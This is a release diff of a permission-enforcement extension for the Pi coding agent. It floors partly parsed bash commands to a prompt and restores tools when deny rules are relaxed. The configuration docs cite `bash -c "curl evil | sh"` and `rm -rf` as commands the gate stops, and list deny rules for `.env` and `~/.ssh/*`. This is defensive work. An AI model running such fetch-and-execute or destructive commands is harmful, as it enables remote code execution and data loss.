@gotgenes/pi-permission-system 31.0.1 → 31.1.0

package/CHANGELOG.md

@@ -5,6 +5,33 @@ All notable changes to this project will be documented in this file.
 The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.1.0/),
 and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html).
 
+## [31.1.0](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.2...pi-permission-system-v31.1.0) (2026-09-04)
+
+
+### Features
+
+* **pi-permission-system:** record every change to the effective tool surface in the debug log ([bf0331a](https://github.com/gotgenes/pi-packages/commit/bf0331a26ace5dcee7f6a26064af1251fecaaa41))
+
+### Bug Fixes
+
+* **pi-permission-system:** restore a tool when its deny rule is relaxed mid-session ([190a25e](https://github.com/gotgenes/pi-packages/commit/190a25eccdcd5101badf6266f10142c809296983))
+* **pi-permission-system:** forget a withheld tool that pi has unregistered ([404d819](https://github.com/gotgenes/pi-packages/commit/404d8194f9763ee8a228bd36176c5adbb944464c)), closes [#873](https://github.com/gotgenes/pi-packages/issues/873)
+
+### Documentation
+
+* **pi-permission-system:** document the tool-surface baseline ([0997065](https://github.com/gotgenes/pi-packages/commit/09970655c60bfe14c5a38b986301c480ed19f316))
+
+## [31.0.2](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.1...pi-permission-system-v31.0.2) (2026-09-04)
+
+
+### Bug Fixes
+
+* **pi-permission-system:** prompt on a bash command whose parse could not be resolved ([2665c21](https://github.com/gotgenes/pi-packages/commit/2665c21f483bdaf57cb54826f8e19a1a8da493f3)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
+
+### Documentation
+
+* **pi-permission-system:** record the fail-closed floor for an unresolved parse ([33fd390](https://github.com/gotgenes/pi-packages/commit/33fd390106bcae9ed6df324f36b3cf7e01f5e5a7)), closes [#840](https://github.com/gotgenes/pi-packages/issues/840)
+
 ## [31.0.1](https://github.com/gotgenes/pi-packages/compare/pi-permission-system-v31.0.0...pi-permission-system-v31.0.1) (2026-09-03)
 
 

package/README.md

@@ -19,7 +19,7 @@ Permission enforcement extension for the [Pi](https://pi.mariozechner.at/) codin
 - **Gates MCP and skill access** at server, tool, and skill-name granularity
 - **Protects sensitive file patterns** — cross-cutting `path` rules deny `.env`, `~/.ssh/*`, etc. across all tools and bash at once, matching both the path as referenced and its symlink-resolved form so a deny cannot be evaded through a symlink alias
 - **Guards external paths** — prompts before file tools or bash commands reach outside `cwd`
-- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and an unparseable bash command — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
+- **Fails closed** — an internal gate error blocks the tool (with a `gate_error` review-log entry and a matching `permissions:decision` broadcast), and a bash command the parser could not resolve, in whole or in part — or an indirection wrapper that hides the gated command (`bash -c`/`eval`, `sudo`, `env`, `xargs`, `find -exec`, …) — prompts (`ask`) rather than passing silently, unless the wrapped command is a pure reader whose direction is provable whatever it is fed (`xargs grep -l foo`)
 - **Forwards prompts from subagents** — `ask` policies work even in non-UI execution contexts
 - **Broadcasts UI prompt events** — `permissions:ui_prompt` fires only when the permission system is about to invoke the active user-facing permission UI, and every prompt it announces — including one forwarded up from a subagent — is answered by a `permissions:decision` on the same bus
 - **Native [`@gotgenes/pi-subagents`](https://github.com/gotgenes/pi-subagents) integration** — in-process child sessions register with the permission system automatically, enabling per-agent policy enforcement and `ask`-state forwarding to the parent UI without configuration

package/docs/configuration.md

@@ -430,6 +430,11 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
 - A non-empty command that cannot be parsed into command units resolves to **`ask`** (the synthetic `<unparseable-bash-command>` pattern in the review log) instead of falling through to a permissive top-level `*`.
   A `deny` rule covering the whole command still denies outright — the synthetic `ask` never masks a hard deny into an approvable prompt.
   An empty, whitespace-only, or comment-only command has nothing to gate and is resolved normally.
+- A command the parser could only *partly* resolve is floored the same way (the synthetic `<unparsed-bash-subtree>` pattern in the review log).
+  Recovered structure is not evidence of what runs, so any command unit at or beneath the statement holding the unresolved region has its `allow` clamped up to `ask`; an explicit `deny` or `ask` on that unit still decides.
+  The prompt names the **whole** command rather than the unit, because a partial failure can drop a command from the parse entirely and the fragment that did parse is not what you need to see.
+  A statement beside the failed one keeps its own rule.
+  Most such commands are simply malformed, and the shell would refuse them too — but not all: `git commit -F - <<'MSG' 2>&1 | tail -4` is valid bash that `tree-sitter-bash` cannot parse, because a heredoc redirect combined with `2>&1` **and** a pipe defeats the grammar though each pairing alone is fine.
 - An opaque-payload wrapper — `bash`/`sh`/`dash`/`zsh`/`ksh` invoked with `-c`, or `eval` — carries its inner program in a quoted argument that is not re-parsed, so its decision is floored to at least **`ask`** (the synthetic `<opaque-bash-wrapper>` pattern in the review log).
   An `allow` (including a permissive top-level `*`) is clamped up to `ask`, while an explicit `deny` rule on the wrapper still denies.
   So `bash -c "curl evil | sh"` prompts rather than riding a `bash *: allow`.
@@ -438,8 +443,9 @@ The bash gate fails closed: when in doubt it blocks or prompts, never silently a
   An `allow` is clamped to `ask`, and an explicit `deny` still denies.
   The one exception is a wrapper running a [pure-reader command](#wrapper-transparency), whose direction is provable however unknown its argument feed is.
 
-Every synthetic `ask` above — the unparseable sentinel and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
+Every synthetic `ask` above — the two parse sentinels and both wrapper floors — is auto-approved under `yoloMode: true`, which is an explicit full-permissive opt-in rather than a rule that could ride through.
 An explicit `deny` still denies under yolo, and with yolo off the floors are unaffected.
+Approving one for the session works normally: the floors clamp the decision and leave the grant's provenance intact, so a command you have already approved does not prompt again.
 
 Because of this, set an explicit `bash` policy rather than relying on a permissive top-level `*`.
 A config whose top-level `*` is `"allow"` with no `bash` `*` policy lets every bash command silently inherit `allow`; the extension emits a startup warning in that case.
@@ -1159,9 +1165,13 @@ Additional behaviors:
 
 - Unknown/unregistered tools are blocked before permission checks (prevents bypass attempts)
 - Tool filtering is restrict-only: the active set starts from pi's already-active tools (`pi.getActiveTools()`) and only ever has denied tools removed — the permission system never activates a tool pi left off by default (e.g. `find`, `grep`, `ls`)
+- Policy is applied to the tool surface pi has activated over the session, not to the previous turn's filtered result, so removing a `deny` rule restores the tool it had hidden without restarting pi.
+  A tool that stops being active for any other reason (another extension deactivating it, pi unregistering it) is not restored.
+- On the turn a tool is restored, it is callable immediately but its `Available tools:` line reappears one turn later: pi builds the prompt an extension receives before the extension runs, so the line is only regenerated once the restored tool is already active
 - A tool is removed only when every value under its surface resolves to `deny`; a surface with any reachable `allow` or `ask` pattern stays available (see [Tool Surfaces](#tool-surfaces))
 - The `Available tools:` system prompt section is narrowed to match the filtered active tool set: denied tools' lines are dropped, the rest are kept, and the section is removed entirely only when no tool is allowed
-- The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn
+- The narrowed prompt is recomputed and returned on every turn but is byte-stable for a stable policy/agent, so the provider's prompt cache (tools + system prefix) is preserved rather than rewritten each turn.
+  A policy change is an intentional cache transition, as a mid-session agent switch already is.
 - Extension-provided tools like `task`, `mcp`, and third-party tools are handled by exact registered name
 - Generic extension-tool approval prompts include a bounded input preview; built-in file tools use concise human-readable summaries
 - Permission review logs include `toolInputPreview` values for non-bash/non-MCP tool calls, with sensitive-keyed values masked and every value bounded by `reviewLogFieldMaxWidth` (see [Log file sensitivity](#log-file-sensitivity))

package/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@gotgenes/pi-permission-system",
-  "version": "31.0.1",
+  "version": "31.1.0",
   "description": "Permission enforcement extension for the Pi coding agent.",
   "type": "module",
   "exports": {

package/src/access-intent/bash/command-enumeration.ts

@@ -2,7 +2,10 @@ import {
   EXECUTION_HOST_TYPES,
   forEachExecutionIn,
 } from "#src/access-intent/bash/nested-execution";
-import type { TSNode } from "#src/access-intent/bash/parser";
+import {
+  parseUnresolvedWithin,
+  type TSNode,
+} from "#src/access-intent/bash/parser";
 import { redirectMayWriteFile } from "#src/access-intent/bash/redirect-analysis";
 import {
   type CommandWord,
@@ -53,6 +56,13 @@ export interface BashCommand {
    * and an established {@link executedUnit}.
    */
   readonly floorExemption?: FloorExemption;
+  /**
+   * Set when this unit was emitted from, or beneath, a statement holding a
+   * region tree-sitter could not resolve. Its decision is floored to at least
+   * `ask`, because the recovered structure is not evidence of what runs — ADR
+   * 0013 §10's fail-closed base case (#840).
+   */
+  readonly parseUnresolved?: true;
 }
 
 /**
@@ -74,10 +84,18 @@ interface UnitScope {
    * withholds the floor exemption from any wrapper unit beneath it.
    */
   readonly writesViaRedirect: boolean;
+  /**
+   * True when the enclosing statement holds a region tree-sitter could not
+   * resolve, so every unit beneath it is floored rather than trusted (#840).
+   */
+  readonly parseUnresolved: boolean;
 }
 
-/** A top-level command in the current shell, writing no file. */
-const TOP_LEVEL_SCOPE: UnitScope = { writesViaRedirect: false };
+/** A top-level command in the current shell, writing no file, fully parsed. */
+const TOP_LEVEL_SCOPE: UnitScope = {
+  writesViaRedirect: false,
+  parseUnresolved: false,
+};
 
 // ── Node-type vocabulary ─────────────────────────────────────────────────────
 
@@ -184,6 +202,11 @@ const STATEMENT_TYPES = new Set([
  * The enclosing command/statement is always still emitted whole, so adding the
  * nested units can only ever produce a more-restrictive decision, never weaker.
  *
+ * A unit emitted from, or beneath, a statement holding a region tree-sitter
+ * could not resolve is marked {@link BashCommand.parseUnresolved}, so the
+ * verdict fold can floor it rather than match its recovered text against the
+ * bash rules (#840).
+ *
  * Each emitted command unit has any leading `variable_assignment` prefix
  * stripped (so an env-var prefix cannot defeat a command-pattern rule), and a
  * wrapper unit (`bash -c`/`eval`, or an indirection wrapper such as `sudo`) is
@@ -197,7 +220,7 @@ export function collectCommands(node: TSNode): BashCommand[] {
 
 function collectCommandsInto(
   node: TSNode,
-  scope: UnitScope,
+  inherited: UnitScope,
   out: BashCommand[],
 ): void {
   // Anonymous tokens (operators `&&`/`;`/`|`, delimiters `$(`/`)`/`` ` ``/`(`)
@@ -205,6 +228,8 @@ function collectCommandsInto(
   if (!node.isNamed) return;
   if (COMMAND_ENUM_SKIP.has(node.type)) return;
 
+  const scope = unresolvedScope(node, inherited);
+
   if (node.type === "command") {
     out.push(makeCommandUnit(node, scope));
     // A command's text already contains any substitution; descend its subtree
@@ -265,6 +290,29 @@ function collectCommandsInto(
   collectHostedCommands(node, out);
 }
 
+/**
+ * The scope `node`'s own subtree establishes, marking it unresolved when
+ * tree-sitter could not parse a region within it (#840).
+ *
+ * The three pure containers are deliberately excluded. `program`, `list`, and
+ * `pipeline` report an error whenever *anything* anywhere beneath them failed,
+ * so asking there would mark every unit of the command and make the answer
+ * per-program rather than per-statement. Excluded, `rm -rf /tmp/y` in
+ * `echo hi > out.txt <> rw.txt; rm -rf /tmp/y` keeps its own rule, while every
+ * unit under the failed statement is floored.
+ *
+ * Over-marking is the fail-closed direction — the flag can only floor an
+ * `allow` up to `ask`, never weaken a decision — which is what makes marking a
+ * whole statement for a failure buried in one of its redirects acceptable.
+ */
+function unresolvedScope(node: TSNode, scope: UnitScope): UnitScope {
+  if (scope.parseUnresolved) return scope;
+  if (COMMAND_ENUM_DESCEND.has(node.type)) return scope;
+  return parseUnresolvedWithin(node)
+    ? { ...scope, parseUnresolved: true }
+    : scope;
+}
+
 /** The wrapper facts a `command` node's words establish about its unit. */
 interface WrapperFacts {
   readonly wrapperKind?: WrapperKind;
@@ -284,7 +332,11 @@ function makeUnit(
   const flagged = wrapperKind ? { ...scoped, wrapperKind } : scoped;
   const named =
     executedUnit === undefined ? flagged : { ...flagged, executedUnit };
-  return floorExemption === undefined ? named : { ...named, floorExemption };
+  const exempted =
+    floorExemption === undefined ? named : { ...named, floorExemption };
+  return scope.parseUnresolved
+    ? { ...exempted, parseUnresolved: true }
+    : exempted;
 }
 
 /**
@@ -423,10 +475,13 @@ function collectHostedCommands(node: TSNode, out: BashCommand[]): void {
   forEachExecutionIn(node, (contextNode, context) => {
     // A nested execution starts fresh: an enclosing statement's redirect is
     // that statement's, not the substitution's, exactly as #807 attributes a
-    // nested command's path tokens to its own command.
+    // nested command's path tokens to its own command. The parse question
+    // starts fresh for the same reason and costs nothing either way — each
+    // statement inside re-asks it of itself, and the enclosing statement's own
+    // units carry the mark regardless, so the verdict is unchanged (#840).
     descendCommandChildren(
       contextNode,
-      { context, writesViaRedirect: false },
+      { context, writesViaRedirect: false, parseUnresolved: false },
       out,
     );
   });

package/src/access-intent/bash/parser.ts

@@ -5,10 +5,10 @@ import { memoizeAsyncWithRetry } from "#src/async-cache";
  * Minimal subset of web-tree-sitter's SyntaxNode used by the AST walker.
  * Defined locally so callers do not need to import web-tree-sitter types.
  *
- * The last two members are the parse's own health, which every other member
- * describes a *successful* parse's structure. They exist for
- * {@link parseUnresolvedAt} and are read nowhere else — see its doc comment for
- * why that boundary matters.
+ * The last two members are the parse's own health, where every other member
+ * describes a *successful* parse's structure. They are read only by this
+ * module's two `parseUnresolved*` predicates — see their doc comments for why
+ * that boundary matters.
  */
 export interface TSNode {
   readonly type: string;
@@ -51,7 +51,7 @@ export interface TSNode {
  * belongs to no `<>` either. Over-refusing costs a prompt; under-refusing hands
  * a write to a read grant.
  *
- * This is the one place {@link TSNode.hasError} and
+ * This module is the one place {@link TSNode.hasError} and
  * {@link TSNode.previousSibling} are read. Keeping the lateral navigation here
  * is deliberate: recovering-parser behavior is a fact about tree-sitter rather
  * than about any construct, so a caller asks this question instead of
@@ -61,6 +61,27 @@ export function parseUnresolvedAt(node: TSNode): boolean {
   return node.hasError || (node.previousSibling?.hasError ?? false);
 }
 
+/**
+ * Whether tree-sitter failed to resolve the syntax anywhere within `node`.
+ *
+ * The subtree-only question, and the one a walker descending statements asks:
+ * a statement holding an unresolved region is one whose recovered shape is
+ * invented rather than observed, so nothing beneath it is evidence of what
+ * runs. The failure can sit well below the statement that exposes it —
+ * `git commit -F - <<'MSG' 2>&1 | tail -4` strands its `ERROR` under
+ * `heredoc_redirect → file_redirect`, where no command node sees it.
+ *
+ * {@link parseUnresolvedAt} answers the redirect-shaped question instead,
+ * widening to the immediate predecessor because error recovery strands a
+ * discarded operator ahead of the redirect it belonged to. That widening is a
+ * fact about redirects, not about statements: a statement whose *predecessor*
+ * failed is not itself unparsed, and borrowing the wider predicate here would
+ * condemn every statement following a failed one.
+ */
+export function parseUnresolvedWithin(node: TSNode): boolean {
+  return node.hasError;
+}
+
 /**
  * Minimal subset of web-tree-sitter's Parser used by this module.
  */

package/src/bash-advisory-check.ts

@@ -10,8 +10,9 @@ import type { PermissionCheckResult } from "#src/types";
  * command-pattern units and routed through the same shared orchestrator the
  * enforcement gate uses (`resolveBashCommandCheck`) — so a chained/nested
  * command returns the most-restrictive decision (`deny > ask > allow`) and
- * inherits the opaque-wrapper floor (#481) and the fail-closed
- * `<unparseable-bash-command>` sentinel (#452), at parity with the gate.
+ * inherits the opaque-wrapper floor (#481) and both fail-closed parse
+ * sentinels — `<unparseable-bash-command>` (#452) and `<unparsed-bash-subtree>`
+ * (#840) — at parity with the gate.
  *
  * In the pre-warm window (`parseBashCommandsSync` returns `null`) it falls back
  * to the pre-#309 whole-string match, so the advisory answer is never *weaker*

package/src/handlers/before-agent-start.ts

@@ -5,9 +5,11 @@ import type {
 import type { TurnPreparation } from "#src/handlers/session-turn-prep";
 import type { PermissionResolver } from "#src/permission-resolver";
 import type { PermissionSession } from "#src/permission-session";
+import type { DebugLogger } from "#src/session-logger";
 import { resolveSkillPromptEntries } from "#src/skill-prompt-sanitizer";
 import { sanitizeAvailableToolsSection } from "#src/system-prompt-sanitizer";
 import { getToolNameFromValue, type ToolRegistry } from "#src/tool-registry";
+import type { ToolSurfaceObservation } from "#src/tool-surface-baseline";
 
 /** Minimal subset of BeforeAgentStartEvent used by this handler. */
 interface BeforeAgentStartPayload {
@@ -42,7 +44,11 @@ export function shouldExposeTool(
  *   session state
  * - `session` — encapsulates all mutable session state and lifecycle operations
  * - `resolver` — owns permission-query surface: `isToolFullyDenied`, skill check
- * - `toolRegistry` — Pi tool API subset (getActive + setActive)
+ * - `toolRegistry` — Pi tool API subset (getAll + getActive + setActive)
+ * - `logger` — records each change to the effective tool surface
+ *
+ * The active set is recomputed from the session's pre-filter tool surface
+ * every turn, so relaxing a rule restores the tool it had withheld (#873).
  */
 export class AgentPrepHandler {
   constructor(
@@ -50,6 +56,7 @@ export class AgentPrepHandler {
     private readonly session: PermissionSession,
     private readonly resolver: PermissionResolver,
     private readonly toolRegistry: ToolRegistry,
+    private readonly logger: DebugLogger,
   ) {}
 
   // eslint-disable-next-line @typescript-eslint/require-await
@@ -60,24 +67,23 @@ export class AgentPrepHandler {
     this.turnPrep.prepare(ctx);
 
     const agentName = this.session.resolveAgentName(ctx, event.systemPrompt);
-    const activeTools = this.toolRegistry.getActive();
-    const allowedTools: string[] = [];
-
-    for (const tool of activeTools) {
-      const toolName = getToolNameFromValue(tool);
-      if (!toolName) {
-        continue;
-      }
-      if (
+    const surface = this.session.resolveExposedTools(
+      this.observeToolSurface(),
+      (toolName) =>
         shouldExposeTool(toolName, agentName, (t, a) =>
           this.resolver.isToolFullyDenied(t, a),
-        )
-      ) {
-        allowedTools.push(toolName);
-      }
-    }
+        ),
+    );
+    const allowedTools = [...surface.exposed];
 
     this.toolRegistry.setActive(allowedTools);
+    if (surface.changed) {
+      this.logger.debug("tool_surface.changed", {
+        exposed: surface.exposed,
+        withheld: surface.withheld,
+        restored: surface.restored,
+      });
+    }
 
     const toolPromptResult = sanitizeAvailableToolsSection(
       event.systemPrompt,
@@ -94,4 +100,22 @@ export class AgentPrepHandler {
       ? { systemPrompt: skillPromptResult.prompt }
       : {};
   }
+
+  private observeToolSurface(): ToolSurfaceObservation {
+    return {
+      active: toolNamesOf(this.toolRegistry.getActive()),
+      registered: new Set(toolNamesOf(this.toolRegistry.getAll())),
+    };
+  }
+}
+
+function toolNamesOf(tools: readonly unknown[]): string[] {
+  const names: string[] = [];
+  for (const tool of tools) {
+    const toolName = getToolNameFromValue(tool);
+    if (toolName) {
+      names.push(toolName);
+    }
+  }
+  return names;
 }

package/src/handlers/gates/bash-command.ts

@@ -40,6 +40,12 @@ import type { PermissionCheckResult } from "#src/types";
  * explicit `deny` covering it denies outright rather than being masked into an
  * approvable prompt (#712).
  *
+ * A *partial* parse failure is the other half of that clause: the units the
+ * recovery produced are enumerated normally, and any one the enumerator marked
+ * {@link BashCommand.parseUnresolved} has its `allow` floored to a synthetic
+ * `ask` naming the whole command (`<unparsed-bash-subtree>`, #840), because
+ * recovered structure is not evidence of what runs.
+ *
  * Pure and synchronous: the (async, tree-sitter) parse happens once in the
  * handler, which passes the decomposed `commands` here.
  */
@@ -52,6 +58,12 @@ const WRAPPER_SENTINEL: Record<WrapperKind, string> = {
   indirection: "<indirection-bash-wrapper>",
 };
 
+/**
+ * The synthetic `matchedPattern` recorded when a unit the parse could not
+ * resolve has its `allow` floored to `ask` (ADR 0013 §10, #840).
+ */
+const UNPARSED_SUBTREE_SENTINEL = "<unparsed-bash-subtree>";
+
 export function resolveBashCommandCheck(
   command: string,
   commands: BashCommand[],
@@ -76,25 +88,75 @@ export function resolveBashCommandCheck(
     };
   }
 
-  const results = commands.map((cmd) => {
-    const base = resolveOnBashSurface(cmd.text, agentName, resolver);
-    const floored =
-      cmd.wrapperKind && base.state === "allow"
-        ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
-        : base;
-    const result = cmd.context
-      ? { ...floored, commandContext: cmd.context }
-      : floored;
-    return cmd.executedUnit === undefined
-      ? result
-      : { ...result, executedUnit: cmd.executedUnit };
-  });
+  const results = commands.map((cmd) =>
+    resolveCommandUnit(cmd, command, agentName, resolver),
+  );
   return (
     pickMostRestrictive(results) ??
     resolveOnBashSurface(command, agentName, resolver)
   );
 }
 
+/**
+ * Resolve one command unit of the chain: its own `bash`-surface rule, floored
+ * where the enumerator established a reason to floor it, then tagged with the
+ * facts the prompt and the session-approval suggestion read off the winner.
+ */
+function resolveCommandUnit(
+  cmd: BashCommand,
+  command: string,
+  agentName: string | undefined,
+  resolver: ScopedPermissionResolver,
+): PermissionCheckResult {
+  const base = resolveOnBashSurface(cmd.text, agentName, resolver);
+  const floored =
+    cmd.wrapperKind && base.state === "allow"
+      ? resolveWrapperUnit(cmd, cmd.wrapperKind, base, agentName, resolver)
+      : base;
+  const unparsed = floorUnparsedUnit(cmd, command, floored);
+  const contextual = cmd.context
+    ? { ...unparsed, commandContext: cmd.context }
+    : unparsed;
+  return cmd.executedUnit === undefined
+    ? contextual
+    : { ...contextual, executedUnit: cmd.executedUnit };
+}
+
+/**
+ * Floor a unit the parse could not resolve, so a subtree the fold did not
+ * understand cannot ride a permissive rule (ADR 0013 §10, #840).
+ *
+ * Three properties carry the safety argument.
+ *
+ * The result names the **whole** command, not the unit: the reason for the ask
+ * is that part of the command was not understood, and a partial parse can drop
+ * a command from enumeration entirely, so naming the fragment that did parse
+ * withholds exactly what the user needs to judge it. `command` is also the
+ * session-approval pattern, and a fragment there would grant more than the
+ * prompt showed.
+ *
+ * Only an `allow` is floored, so an explicit `deny` or `ask` on the unit
+ * decides instead — and a wrapper unit already floored to `ask` keeps its own,
+ * more specific sentinel.
+ *
+ * The result is built by spreading `resolved`, so a `source: "session"` grant
+ * survives to `GateRunner`'s session fast path, which tests the source before
+ * the state. A grant the user gave for this exact command still holds.
+ */
+function floorUnparsedUnit(
+  cmd: BashCommand,
+  command: string,
+  resolved: PermissionCheckResult,
+): PermissionCheckResult {
+  if (!cmd.parseUnresolved || resolved.state !== "allow") return resolved;
+  return {
+    ...resolved,
+    state: "ask",
+    command,
+    matchedPattern: UNPARSED_SUBTREE_SENTINEL,
+  };
+}
+
 /**
  * Resolve a wrapper unit whose own text resolved to `allow`.
  *

package/src/handlers/gates/helpers.ts

@@ -159,10 +159,11 @@ export function buildDecisionEvent(
  * yolo is primarily recorded authority: `rewriteAsksToYolo` turns every `ask`
  * rule into an `allow` tagged `origin: "yolo"` at composition (#526), and the
  * first arm recognizes that grant. The second arm covers an `ask` synthesized
- * *after* resolution — the bash wrapper floor (#481, #490) and the fail-closed
- * `<unparseable-bash-command>` sentinel (#452) — which the ruleset rewrite
- * cannot reach because the floor is a property of a parsed command unit, not of
- * a pattern (#712). The synthetic `matchedPattern` is preserved so the review
+ * *after* resolution — the bash wrapper floor (#481, #490) and the two
+ * fail-closed parse sentinels, `<unparseable-bash-command>` (#452) and
+ * `<unparsed-bash-subtree>` (#840) — which the ruleset rewrite cannot reach
+ * because the floor is a property of a parsed command unit, not of a pattern
+ * (#712). The synthetic `matchedPattern` is preserved so the review
  * log still shows why the ask was raised, while `origin: "yolo"` records why it
  * was granted.
  *

package/src/index.ts

@@ -318,6 +318,7 @@ export default function piPermissionSystemExtension(pi: ExtensionAPI): void {
     session,
     resolver,
     toolRegistry,
+    logger,
   );
 
   const gateRunner = new GateRunner(

package/src/permission-session.ts

@@ -20,6 +20,11 @@ import {
   resolveToolPreviewLimits,
   type ToolPreviewFormatterOptions,
 } from "./tool-preview-formatter";
+import {
+  ToolSurfaceBaseline,
+  type ToolSurfaceObservation,
+  type ToolSurfaceResolution,
+} from "./tool-surface-baseline";
 
 /**
  * Encapsulates all mutable session state and exposes operations instead of
@@ -40,6 +45,7 @@ export class PermissionSession implements ToolCallGateInputs {
   private skillEntries: SkillPromptEntry[] = [];
   private knownAgentName: string | null = null;
   private pathNormalizer: PathNormalizer;
+  private readonly toolSurfaceBaseline = new ToolSurfaceBaseline();
 
   constructor(
     private readonly paths: ExtensionPaths,
@@ -108,6 +114,7 @@ export class PermissionSession implements ToolCallGateInputs {
       projectTrusted ? ctx.cwd : undefined,
     );
     this.skillEntries = [];
+    this.toolSurfaceBaseline.reset();
     this.activate(ctx);
   }
 
@@ -118,6 +125,7 @@ export class PermissionSession implements ToolCallGateInputs {
   shutdown(): void {
     this.sessionRules.clear();
     this.skillEntries = [];
+    this.toolSurfaceBaseline.reset();
     this.deactivate();
   }
 
@@ -134,6 +142,23 @@ export class PermissionSession implements ToolCallGateInputs {
       projectTrusted ? this.context?.cwd : undefined,
     );
     this.skillEntries = [];
+    // The tool-surface baseline deliberately survives a reload: a reload is
+    // when a relaxed policy arrives, and reseeding from the already-filtered
+    // active set would strand the tool it just un-denied (#873).
+  }
+
+  // ── Tool surface ───────────────────────────────────────────────────────
+
+  /**
+   * Answer which tools the agent may see this turn, applying `isExposed` to
+   * the session's pre-filter tool surface rather than to the previous turn's
+   * filtered result.
+   */
+  resolveExposedTools(
+    observation: ToolSurfaceObservation,
+    isExposed: (toolName: string) => boolean,
+  ): ToolSurfaceResolution {
+    return this.toolSurfaceBaseline.resolveExposed(observation, isExposed);
   }
 
   // ── Skill entries ──────────────────────────────────────────────────────

package/src/session-logger.ts

@@ -18,13 +18,19 @@ export interface ReviewLogger {
 }
 
 /**
- * Logging seam for consumers that write both debug and review entries.
- * Injected into `ConfigStore`, `ParentAuthorizer`, and `ForwardedRequestServer`.
+ * Narrowest logging seam — consumers that only write debug-log entries.
+ * Injected into `AgentPrepHandler`.
  */
-export interface DebugReviewLogger extends ReviewLogger {
+export interface DebugLogger {
   debug(event: string, details?: Record<string, unknown>): void;
 }
 
+/**
+ * Logging seam for consumers that write both debug and review entries.
+ * Injected into `ConfigStore`, `ParentAuthorizer`, and `ForwardedRequestServer`.
+ */
+export interface DebugReviewLogger extends ReviewLogger, DebugLogger {}
+
 /**
  * Unified logging + notification surface for handler deps.
  *

package/src/tool-surface-baseline.ts

@@ -0,0 +1,101 @@
+/** What a turn observed about pi's tool surface. */
+export interface ToolSurfaceObservation {
+  /** Names pi reports active right now (`pi.getActiveTools()`). */
+  readonly active: readonly string[];
+  /** Names pi currently has registered (`pi.getAllTools()`). */
+  readonly registered: ReadonlySet<string>;
+}
+
+/** The effective tool surface for one turn, and what changed to produce it. */
+export interface ToolSurfaceResolution {
+  /** Names to hand to `setActive`, in baseline order. */
+  readonly exposed: readonly string[];
+  /** Baseline members the current policy withholds. */
+  readonly withheld: readonly string[];
+  /** Names withheld on an earlier turn that the current policy exposes again. */
+  readonly restored: readonly string[];
+  /** Whether the withheld set differs from the previous turn's. */
+  readonly changed: boolean;
+}
+
+/** Decides whether the current policy lets the agent see a tool. */
+type ToolExposurePolicy = (toolName: string) => boolean;
+
+/**
+ * The runtime tool surface a session has, independent of what policy withholds.
+ *
+ * Filtering writes its result back through `setActive`, so reading the active
+ * set again next turn returns the *filtered* set. Applying policy to that makes
+ * the surface monotonically shrink and leaves a tool stranded once its rule is
+ * relaxed (#873). This baseline is the stable input policy is applied to
+ * instead: `exposed = baseline ∩ policy`, recomputed every turn.
+ *
+ * The baseline only ever grows from tools observed **active**, never from the
+ * whole registry, so a tool pi deliberately left inactive is never activated
+ * (#385). A tool that stops being active without this extension withholding it
+ * — another extension deactivating it — leaves the baseline with it.
+ */
+export class ToolSurfaceBaseline {
+  private baseline: readonly string[] = [];
+  private withheld: ReadonlySet<string> = new Set();
+
+  resolveExposed(
+    observation: ToolSurfaceObservation,
+    isExposed: ToolExposurePolicy,
+  ): ToolSurfaceResolution {
+    const baseline = this.rebuild(observation);
+    const exposed: string[] = [];
+    const withheld: string[] = [];
+    for (const toolName of baseline) {
+      (isExposed(toolName) ? exposed : withheld).push(toolName);
+    }
+    const restored = exposed.filter((toolName) => this.withheld.has(toolName));
+    const changed = !holdsExactly(this.withheld, withheld);
+
+    this.baseline = baseline;
+    this.withheld = new Set(withheld);
+    return { exposed, withheld, restored, changed };
+  }
+
+  /** Forget the surface, so the next turn reseeds from what pi reports. */
+  reset(): void {
+    this.baseline = [];
+    this.withheld = new Set();
+  }
+
+  /**
+   * Reconstruct the pre-filter surface: the tools still active, plus the ones
+   * only this extension's own filtering removed, plus anything newly active.
+   *
+   * A withheld tool that has left the registry is forgotten rather than kept as
+   * a restoration candidate, so re-registering it inactive cannot activate it.
+   * The registry is consulted for withheld tools only — an active tool is real
+   * by definition — and an active tool is adopted whatever the registry says,
+   * so a registry that reports nothing can cost restoration candidates but
+   * never removes a tool pi has active.
+   */
+  private rebuild(observation: ToolSurfaceObservation): readonly string[] {
+    const active = new Set(observation.active);
+    const baseline = this.baseline.filter(
+      (toolName) =>
+        active.has(toolName) ||
+        (this.withheld.has(toolName) && observation.registered.has(toolName)),
+    );
+
+    const known = new Set(baseline);
+    for (const toolName of observation.active) {
+      if (!known.has(toolName)) {
+        known.add(toolName);
+        baseline.push(toolName);
+      }
+    }
+    return baseline;
+  }
+}
+
+function holdsExactly(
+  set: ReadonlySet<string>,
+  members: readonly string[],
+): boolean {
+  return set.size === members.length && members.every((m) => set.has(m));
+}